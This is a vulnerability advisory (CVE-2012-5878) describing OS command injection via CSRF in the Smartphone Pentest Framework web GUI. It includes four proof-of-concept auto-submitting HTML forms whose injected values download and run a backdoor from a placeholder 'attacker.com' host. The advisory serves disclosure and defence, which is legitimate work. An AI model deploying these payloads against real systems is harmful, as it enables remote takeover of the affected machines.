Multiple Command Execution Vulnerabilities in Smartphone Pentest Framework

[advisory@xxxxxxxxxxxx]

Advisory ID: HTB23127
Product: Smartphone Pentest Framework (SPF)
Vendor: Bulb Security LLC
Vulnerable Versions: 0.1.3, 0.1.4 and probably prior
Tested Versions: 0.1.3, 0.1.4
Vendor Notification: November 19, 2012 
Public Disclosure: December 10, 2012 
Vulnerability Type: OS Command Injection [CWE-78]
CVE Reference: CVE-2012-5878
CVSSv2 Base Score: 8.3 (AV:A/AC:L/Au:N/C:C/I:C/A:C)
Risk Level: High 
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple command execution 
vulnerabilities in Smartphone Pentest Framework (SPF) web-based GUI, which 
could be exploited to get control over a pentester's machine remotely. 

Similar vulnerabilities were discovered 
(https://www.htbridge.com/advisory/HTB23123 , CVE-2012-5693) in the previous 
version (0.1.2) of SPF and were patched by vendor. 

However, multiple CSRF vulnerabilities (HTB23123, CVE-2012-5695) were not 
patched by the vendor. Therefore even if the web server hosting SPF GUI is not 
accessible from the Internet (which is a case for the majority of pentesters) 
the vulnerabilities can still be easily exploited via a local/internal network, 
or even from the Internet via CSRF vector. In default installation of 
Smartphone Pentest Framework its web server port and application path of its 
GUI are easily predictable: localhost:80/frameworkgui/

Please refer to HTB23123 advisory (https://www.htbridge.com/advisory/HTB23122) 
for detailed attack scenarios examples.


1) Multiple OS Command Execution Vulnerabilities in Smartphone Pentest 
Framework (SPF): CVE-2012-5878

Multiple Perl scripts in the "/frameworkgui/" directory do not perform 
sanitation of user-supplied input passed as argument to the "system()" 
function. This could be exploited to inject and execute arbitrary OS commands 
on the target system with privileges of the web server user. 

1.1 The vulnerability exists in "SEAttack.pl" script due to insufficient 
validation of user-supplied input passed via the "hostingPath" parameter. The 
vulnerability can be exploited remotely via CSRF vector. 

The PoC code below will download a backdoor located on 'attacker.com' and run 
it on pentester's machine with privileges of the web server. Despite relatively 
low privileges attacker can always try to download all files accessible to him 
and/or escalate privileges to get remote root access to the system. 


<form action="http://localhost/cgi-bin/frameworkgui/SEAttack.pl"; method="post" 
name=f1>
<input type="hidden" name="platformDD2" value='android' />
<input type="hidden" name="hostingPath" value='a & wget 
http://attacker.com/backdoor.sh && chmod a+x ./backdoor.ch && ./backdoor.sh & ' 
/>
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>



1.2 The vulnerability exists in "CSAttack.pl" script due to insufficient 
validation of user-supplied input passed via the "hostingPath" parameter. The 
vulnerability can be exploited remotely via CSRF vector:


<form action="http://localhost/cgi-bin/frameworkgui/CSAttack.pl"; method="post" 
name=f1>
<input type="hidden" name="hostingPath" value='a & wget 
http://attacker.com/backdoor.sh && chmod a+x ./backdoor.sh && ./backdoor.sh & ' 
/>
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>



1.3 The vulnerability exists in "attachMobileModem.pl" script due to 
insufficient validation of user-supplied input passed via the "appURLPath" 
parameter. The vulnerability can be exploited remotely via CSRF vector:


<form action="http://localhost/cgi-bin/frameworkgui/attachMobileModem.pl"; 
method="post" name=f1>
<input type="hidden" name="appURLPath" value='a & wget 
http://attacker.com/backdoor.sh && chmod a+x ./backdoor.sh && ./backdoor.sh & ' 
/>
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>



1.4 The vulnerability exists in "guessPassword.pl" script due to insufficient 
validation of user-supplied input passed via the "ipAddressTB" parameter. The 
vulnerability can be exploited remotely via CSRF vector:


<form action="http://localhost/cgi-bin/frameworkgui/guessPassword.pl"; 
method="post" name=f1>
<input type="hidden" name="ipAddressTB" value='a & wget 
http://attacker.com/backdoor.sh && chmod a+x ./backdoor.sh && ./backdoor.sh & ' 
/>
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>


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Solution:

On December 5, 2012 vendor replied that vulnerabilities are patched. However, 
on the Disclosure date version 0.1.4 was still found to be vulnerable.

As a temporary solution remove or disable SPF's GUI.

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References:

[1] High-Tech Bridge Advisory HTB23127 - 
https://www.htbridge.com/advisory/HTB23127 - Multiple Vulnerabilities in 
Smartphone Pentest Framework (SPF).
[2] Smartphone Pentest Framework (SPF) - 
http://www.bulbsecurity.com/smartphone-pentest-framework/ - Smartphone Pentest 
Framework is an open source security tool, designed to aid in assessing the 
security posture of smartphones in an environment.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.